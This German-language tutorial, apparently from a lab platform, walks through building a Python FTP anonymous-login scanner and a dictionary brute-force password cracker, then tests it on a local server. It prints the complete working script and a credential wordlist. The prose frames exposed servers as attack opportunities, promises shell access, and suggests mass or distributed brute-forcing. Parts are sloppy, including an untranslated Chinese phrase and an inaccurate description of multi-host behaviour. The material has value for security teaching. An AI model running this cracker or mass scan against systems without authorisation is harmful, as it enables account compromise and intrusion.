Meisterung der FTP-Sicherheit: Entdecken Sie Schwachpasswörter mit Python

Einführung

Dieses Projekt beginnt mit der Implementierung eines FTP-Schwachpasswort-Scanners in Python und bietet eine Einführung in die Python-Penetrationstesttechniken. Das Experiment beinhaltet das Verständnis der FTP-Serverprinzipien, die Verwendung der ftplib-Bibliothek und andere verwandte Kenntnisse.

Das Verständnis von FTP-Servern: Lernen Sie über FTP-Server, ihren Zweck und wie sie funktionieren.
Die Verwendung der FTPlib-Bibliothek: Nutzen Sie die ftplib-Bibliothek in Python, um einen FTP-Anonym-Scanner und einen Brute-Force-Passwortknacker zu implementieren.
Die Verwendung der argparse-Bibliothek: Lernen Sie, wie Sie Befehlszeilenargumente mit der argparse-Bibliothek in Python verarbeiten.
Einrichten eines FTP-Servers auf Ubuntu: Befolgen Sie die Anweisungen, um einen FTP-Server lokal zum Testzweck einzurichten.

Dieses Projekt ist von mittlerer Schwierigkeit und eignet sich für Benutzer mit einem grundlegenden Verständnis von Python. Es ist eine gute Gelegenheit, die Kenntnisse der Python-Grundlagen zu erweitern und zu festigen und praktische Erfahrungen in Python-Penetrationstesttechniken zu sammeln.

👀 Vorschau

python3 ftpScanner.py -H 127.0.0.1 -f pwd.txt

[-] 127.0.0.1 FTP-Anonym-Login fehlgeschlagen!
[+] Versuche: ftp:ftp
[+] Versuche: root:root
[+] Versuche: root:toor
[+] Versuche: admin:admin
[+] Versuche: geust:geust
[+] Versuche: admin:123456

[+] 127.0.0.1 FTP-Login erfolgreich: admin:123456

[+] Host: 127.0.0.1 Benutzername: admin Passwort: 123456

[*]-------------------Scan Ende!--------------------[*]

🎯 Aufgaben

In diesem Projekt lernen Sie:

Wie man die Arbeitsweisen von FTP-Servern versteht
Wie man die ftplib-Bibliothek in Python verwendet, um einen FTP-Anonym-Scanner zu implementieren
Wie man einen Brute-Force-Passwortknacker für FTP-Server mit einem Passwortwörterbuch implementiert
Wie man Befehlszeilenargumente mit der argparse-Bibliothek verarbeitet
Wie man einen FTP-Server auf Ubuntu zum Testzweck einrichtet

🏆 Errungenschaften

Nach Abschluss dieses Projekts werden Sie in der Lage sein:

Mit FTP-Servern über Python zu interagieren
Das Scannen von anonymen Logins und Schwachpasswörtern zu implementieren
Befehlszeilenargumente in Python zu verarbeiten
Einen FTP-Server auf Ubuntu einzurichten

FTP-Server

Ein FTP-Server (File Transfer Protocol Server) ist ein Computer, der im Internet Dateispeicher- und -zugangsdienste gemäß dem FTP-Protokoll anbietet. FTP steht für File Transfer Protocol, ein speziell für das Dateitransfer designed Protokoll. Einfach ausgedrückt ist ein Server, der das FTP-Protokoll unterstützt, ein FTP-Server.

FTP ist ein ausschließlich auf TCP basierendes Dienstprogramm und unterstützt UDP nicht. Was FTP von anderen unterscheidet, ist, dass es zwei Ports verwendet, einen Datenport und einen Befehlsport (auch als Steuerport bekannt). Typischerweise sind diese beiden Ports 21 (Befehlsport) und 20 (Datenport). Der Datenport ist jedoch nicht immer 20, sondern hängt vom Arbeitsmodus von FTP ab. Dies ist der Hauptunterschied zwischen aktivem und passivem FTP. Es gibt hauptsächlich zwei Arbeitsweisen:

Aktiver FTP

Der Steuerport des FTP-Servers ist 21, und der Datenport ist 20. Daher muss beim Einrichten der statischen Zuordnung nur Port 21 geöffnet werden. Der Server wird eine Verbindung mit dem Client über Port 20 herstellen.

Passiver FTP

Der Steuerport des Servers ist 21, und der Datenport wird zufällig zugewiesen. Der Client initiiert die Verbindung zu dem entsprechenden Datenport, daher reicht es nicht, nur Port 21 für die statische Zuordnung zu öffnen. In diesem Fall ist eine DMZ (Demilitarized Zone) erforderlich.

In diesem Projekt konzentriert sich die Entwicklung eines FTP-Scanners auf die folgenden beiden Aspekte:

Scannen nach anonymem FTP

Das Scannen nach anonymen FTP-Logins wird hauptsächlich bei der Batch-Scanning verwendet. Die Erfolgswahrscheinlichkeit beim Scannen eines einzelnen FTP-Servers ist relativ gering, aber es ist dennoch möglich, Erfolg zu haben. Manche fragen sich vielleicht, gibt es noch Leute, die keine Passwörter setzen? Viele Websites bieten immer noch FTP-Dienste an, um Nutzern Ressourcen herunterzuladen, daher ist es nicht verwunderlich, dass anonyme Logins möglich sind. Was noch überraschender ist, ist, dass Websiteadministratoren FTP-anonyme Logins für die Bequemlichkeit des Updates von Website-Zugangsoftware öffnen. Dies bietet uns viele Möglichkeiten, insbesondere wenn es um den Angriff auf letzterer Servertyp geht, der anfällig für Angriffe ist. Später werde ich erklären, wie man nach dem Finden von Webseiten in FTP-Verzeichnissen ein Shell erhalten kann.

Scannen nach schwachen FTP-Passwörtern

Das Scannen nach schwachen FTP-Passwörtern ist im Grunde genommen ein Brute-Force-Verfahren. Warum nennen wir es nicht Brute-Force? Weil wir nur einige einfache Passwortkombinationen scannen, nicht alle möglichen Kombinationen. Außerdem haben wir nicht so viel Zeit, um alles ausprobieren, schließlich werden wir nicht ewig leben! Es ist nur ein Passwort. Wenn wir keine schwachen Passwörter finden können, können wir weitergehen. Warum sollten wir uns nur auf eine einzige Blume fixieren, wenn es unzählige andere in der Welt gibt? Wenn Sie sich aber wirklich für diesen FTP-Server interessieren, werde ich Ihnen in Zukunft andere Wege zeigen, um Server zu penetrieren!

Implementierung des FTP-Anonym-Scanners

In diesem Fall werden wir die FTP-Klasse aus der ftplib-Bibliothek in Python verwenden. Die FTP-Klasse implementiert die meisten Funktionen eines FTP-Clients, wie das Verbinden mit einem FTP-Server, das Anzeigen von Dateien auf dem Server, das Hochladen und Herunterladen von Dateien usw. Als nächstes werden wir die Funktion anonScan(hostname) definieren, um das Scannen von FTP-Servern zu implementieren, die anonyme Anmeldungen zulassen. Der Code lautet wie folgt:

## Anonymer Anmeldungsscanner
def anonScan(hostname):                 ## Der Parameter ist der Hostname
    try:
        with FTP(hostname) as ftp:      ## Erstellt ein FTP-Objekt
            ftp.login()                 ## FTP-Anonyme Anmeldung
            print('\n[*] ' + str(hostname) + " FTP-Anonyme Anmeldung erfolgreich!") ## Wenn keine Ausnahme ausgelöst wird, bedeutet das, dass die Anmeldung erfolgreich war
            return True
    except Exception as e:              ## Wenn eine Ausnahme ausgelöst wird, bedeutet das, dass die anonyme Anmeldung fehlgeschlagen ist
        print('\n[-] ' + str(hostname) + " FTP-Anonyme Anmeldung fehlgeschlagen!")
        return False

Der Code ist kompakt, und die Kommentare erklären die Bedeutung des Codes. Hier ist die allgemeine Idee dieser Funktion: Zunächst konstruieren wir ein FTP-Objekt (benannt ftp) mithilfe des Hostnamens. Anschließend rufen wir die login()-Funktion ohne Parameter auf diesem ftp-Objekt auf, um eine anonyme Anmeldung am FTP-Server zu initiieren. Wenn keine Ausnahmen während des Anmeldeprozesses ausgelöst werden, bedeutet das, dass die anonyme Anmeldung erfolgreich war; andernfalls bedeutet es, dass die anonyme Anmeldung fehlgeschlagen ist.

FTP-Schwachpasswort-Scannen

Das Scannen nach Schwachpasswörtern in FTP basiert auf einem Benutzernamen- und Passwort-Wörterbuch. In unserer Experimentierumgebung wird ~/project/pwd.txt als Passwort-Wörterbuch zur Verfügung gestellt.

ftp:ftp
root:root
root:toor
admin:admin
geust:geust
admin:123456
charlie:brown
mickey:mouse
daffy:duck
1012NW:bezoek
bugs:bunny
donald:duck
minnie:mouse
elmer:fudd
tweety:bird
alfonse:capone
al:capone
albert:einstein
open:saysme
open:sayzme
open:sezme

Als nächstes werden wir in das Verzeichnis ~/project eine Code-Datei ftpScanner.py erstellen, um das Scannen nach FTP-Schwachpasswörtern gemäß dem Format im Wörterbuch zu implementieren. Der Code lautet wie folgt:

## Bruteforce Cracken
def vlcLogin(hostname, pwdFile):                ## Parameter (Hostname, Wörterbuch-Datei)
    try:
        with open(pwdFile, 'r') as pf:          ## Öffnen der Wörterbuch-Datei
            for line in pf.readlines():         ## Lesen jeder Zeile in der Wörterbuch-Datei
                time.sleep(1)                   ## Warten 1 Sekunde
                userName = line.split(':')[0]   ## Extrahieren des Benutzernamens aus dem gelesenen Inhalt
                passWord = line.split(':')[1].strip('\r').strip('\n')  ## Extrahieren des Passworts aus dem gelesenen Inhalt
                print('[+] Versuche: ' + userName + ':' + passWord)
                try:
                    with FTP(hostname) as ftp:  ## Erstellen eines FTP-Objekts mit dem Hostnamen als Parameter
                        ftp.login(userName, passWord)   ## Anmeldung am FTP-Server mit dem extrahierten Benutzernamen und Passwort
                        ## Wenn keine Ausnahme ausgelöst wird, war die Anmeldung erfolgreich, gebe den Hostnamen, Benutzernamen und Passwort aus
                        print('\n[+] ' + str(hostname) + ' FTP-Anmeldung erfolgreich: '+ \
                              userName + ':' + passWord)
                        return (userName, passWord)
                except Exception as e:
                    ## Wenn eine Ausnahme ausgelöst wird, bedeutet das, dass die Anmeldung nicht erfolgreich war, wir versuchen weiterhin andere Benutzernamen und Passwörter
                    pass
    except IOError as e:
        print('Fehler: Die Passwort-Datei existiert nicht!')
    print('\n[-] Das FTP-Passwort kann nicht geknackt werden, bitte das Passwort-Wörterbuch ändern und erneut versuchen!')
    return (None,None)

Dieser Codeausschnitt läuft durch das Wörterbuch, um Benutzernamen und Passwörter zu lesen und versucht sich anzumelden. Wenn die Anmeldung erfolgreich ist, bedeutet das, dass der Benutzername und das Passwort gefunden wurden. Die Funktion definiert den Hostnamen als eine Zeichenfolge, die durch "," getrennt werden kann. Ein gefundenes Passwort beendet das Programm nicht, sondern setzt das Scannen nach Schwachpasswörtern auf anderen Hosts fort, bis alle Hosts gescannt wurden.

Befehlszeilenanalyse

Bisher ist unser FTP-Scanner fast fertig. Der Code ist nicht lang und ziemlich einfach. Was wir jetzt tun müssen, ist es, unseren Skript zu ermöglichen, Befehlszeilen-Eingaben zu verarbeiten, um zu steuern, welche Hosts gescannt werden sollen. Um Befehlszeilenargumente zu verarbeiten, werden wir die argparse-Bibliothek in Python verwenden. Diese Bibliothek ist ein eingebautes Modul in Python und macht die Befehlszeilenanalyse sehr einfach. Lassen Sie uns die Macht von argparse durch Betrachten des folgenden Codes entdecken:

## Erstellen eines ArgumentParser-Objekts mit einer Beschreibung
parser = argparse.ArgumentParser(description='FTP Scanner')
## Hinzufügen des -H-Befehls, wobei dest auf die Variablenname verweist, den wir verwenden, um den nach -H übergebenen Wert abzurufen, und help liefert die Hilfsmeldung für diesen Befehl
parser.add_argument('-H', dest='hostName', help='The host list with "," space')
parser.add_argument('-f', dest='pwdFile', help='Password dictionary file')
options = None
try:
    options = parser.parse_args()
except:
    print(parser.parse_args(['-h']))
    exit(0)
hostNames = str(options.hostName).split(',')
pwdFile = options.pwdFile

Durch die Verwendung der argparse-Bibliothek zur Analyse von Befehlszeilenargumenten können wir automatisch eine Hilfsdokumentation basierend auf dem bei der Argumenthinzufügung bereitgestellten help-Schlüsselwort generieren. Das Ergebnis sieht so aus:

python3 ftpScanner.py -h

usage: ftpScanner.py [-h] [-H HOSTNAME] [-f PWDFILE]
FTP Scanner
optional arguments:
-h, --help show this help message and exit
-H HOSTNAME The host list with "," space
-f PWDFILE Password dictionary file

Wenn es um komplexe Befehle geht, wird die Macht von argparse noch deutlicher. Da dies ein grundlegender Bestandteil von Python, werde ich nicht zu viel auf die in Python enthaltenen Bibliotheken eingehen.

Integration des gesamten Codes

Der grundlegende Code ist implementiert, und jetzt müssen wir nur den obigen Code integrieren. Der Code lautet wie folgt:

from ftplib import *
import argparse
import time

## Anonymer Anmeldungsscan
def anonScan(hostname):
    try:
        with FTP(hostname) as ftp:
            ftp.login()
            print('\n[*] ' + str(hostname) + " FTP-Anonyme Anmeldung erfolgreich!")
            return True
    except Exception as e:
        print('\n[-] ' + str(hostname) + " FTP-Anonyme Anmeldung fehlgeschlagen!")
        return False

## Brute-Force-Angriff
def vlcLogin(hostname, pwdFile):
    try:
        with open(pwdFile, 'r') as pf:
            for line in pf.readlines():
                time.sleep(1)
                userName = line.split(':')[0]
                passWord = line.split(':')[1].strip('\r').strip('\n')
                print('[+] Versuche: ' + userName + ':' + passWord)
                try:
                    with FTP(hostname) as ftp:
                        ftp.login(userName, passWord)
                        print('\n[+] ' + str(hostname) + ' FTP-Anmeldung erfolgreich: '+ \
                              userName + ':' + passWord)
                        return (userName, passWord)
                except Exception as e:
                    pass
    except IOError as e:
        print('Fehler: Die Passwort-Datei existiert nicht!')
    print('\n[-] Das FTP-Passwort kann nicht geknackt werden, bitte das Passwort-Wörterbuch ändern und erneut versuchen!')
    return (None,None)

def main():
    parser = argparse.ArgumentParser(description='FTP Scanner')
    parser.add_argument('-H',dest='hostName',help='The host list with ","space')
    parser.add_argument('-f',dest='pwdFile',help='Password dictionary file')
    options = None
    try:
        options = parser.parse_args()

    except:
        print(parser.parse_args(['-h']))
        exit(0)

    hostNames = str(options.hostName).split(',')
    pwdFile = options.pwdFile
    if hostNames == ['None']:
        print(parser.parse_args(['-h']))
        exit(0)

    for hostName in hostNames:
        username = None
        password = None
        if anonScan(hostName) == True:
            print('Host: ' + hostName + ' Kann anonym!')
        elif pwdFile!= None:
            (username,password) = vlcLogin(hostName,pwdFile)
            if password!= None:
                print('\n[+] Host: ' + hostName + 'Benutzername: ' + username + \
                      'Passwort: ' + password)

    print('\n[*]-------------------Scan Ende!--------------------[*]')

if __name__ == '__main__':
    main()

Mit diesem Code ist unsere Implementierung abgeschlossen. Mit einigen Änderungen können wir diesen Scanner noch leistungsfähiger machen. Beispielsweise können die Hostnamen in einem bestimmten Bereich angegeben werden, um ein 大规模的扫描 durchzuführen, oder der Code kann so modifiziert werden, dass ein verteilter Brute-Force-Angriff auf FTP-Benutzernamen und -Passwörter durchgeführt wird, die Kapazität des Wörterbuchs erhöht und die Erfolgswahrscheinlichkeit erheblich verbessert wird.

Einrichten des FTP-Servers

Als nächstes müssen wir einen FTP-Server lokal einrichten, um unseren Scanner zu testen. Hier werden wir die pyftpdlib-Bibliothek in Python verwenden, um den FTP-Server einzurichten. pyftpdlib ist eine Python-Bibliothek für FTP-Server, mit der man schnell einen FTP-Server aufbauen kann. Die Installation von pyftpdlib ist sehr einfach, man verwendet einfach den pip-Befehl. Geben Sie im Terminal den folgenden Befehl ein, um die pyftpdlib-Bibliothek zu installieren:

sudo pip install pyftpdlib
sudo python3 -m pyftpdlib -p 21

Standardmäßig ist die anonyme Anmeldung erlaubt.

Scanning-Test

Jetzt, nachdem unsere Umgebung eingerichtet ist, können wir mit dem Testen unseres FTP-Schwachpasswort-Scanners fortfahren.

cd ~/project
python3 ftpScanner.py -H 127.0.0.1 -f pwd.txt

[*] 127.0.0.1 FTP-Anonyme Anmeldung erfolgreich!
Host: 127.0.0.1 Kann anonym zugegriffen werden!

[*]-------------------Scan Ende!--------------------[*]

In diesem Test konzentrieren wir uns hauptsächlich auf die anonyme Anmeldung. Was das Brute-Force-Cracken von Schwachpasswörtern betrifft, können Sie Ihr eigenes Passwort-Wörterbuch finden und versuchen, den FTP-Server zu knacken.

Jetzt versuchen wir, ein Passwort zum FTP-Server hinzuzufügen und es erneut zu testen. Zunächst müssen wir den FTP-Server stoppen und ihn mit einem Passwort neu starten.

sudo python3 -m pyftpdlib -p 21 -u admin -P 123456

python3 ftpScanner.py -H 127.0.0.1 -f pwd.txt

[-] 127.0.0.1 FTP-Anonyme Anmeldung fehlgeschlagen!
[+] Versuche: ftp:ftp
[+] Versuche: root:root
[+] Versuche: root:toor
[+] Versuche: admin:admin
[+] Versuche: geust:geust
[+] Versuche: admin:123456

[+] 127.0.0.1 FTP-Anmeldung erfolgreich: admin:123456

[+] Host: 127.0.0.1 Benutzername: admin Passwort: 123456

[*]-------------------Scan Ende!--------------------[*]

Zusammenfassung

Dieses Projekt implementiert einen FTP-Schwachpasswort-Scanner, wobei die folgenden Schwerpunkte genutzt werden:

Grundlagen von FTP-Servern
Schritt-für-Schritt-Implementierung eines FTP-Schwachpasswort-Scanners mit FTPlib
Analyse von Befehlszeilenargumenten mit argparse
Methoden zum Einrichten einer Testumgebung.

FTP-Schwachpasswort-Scanner mit Python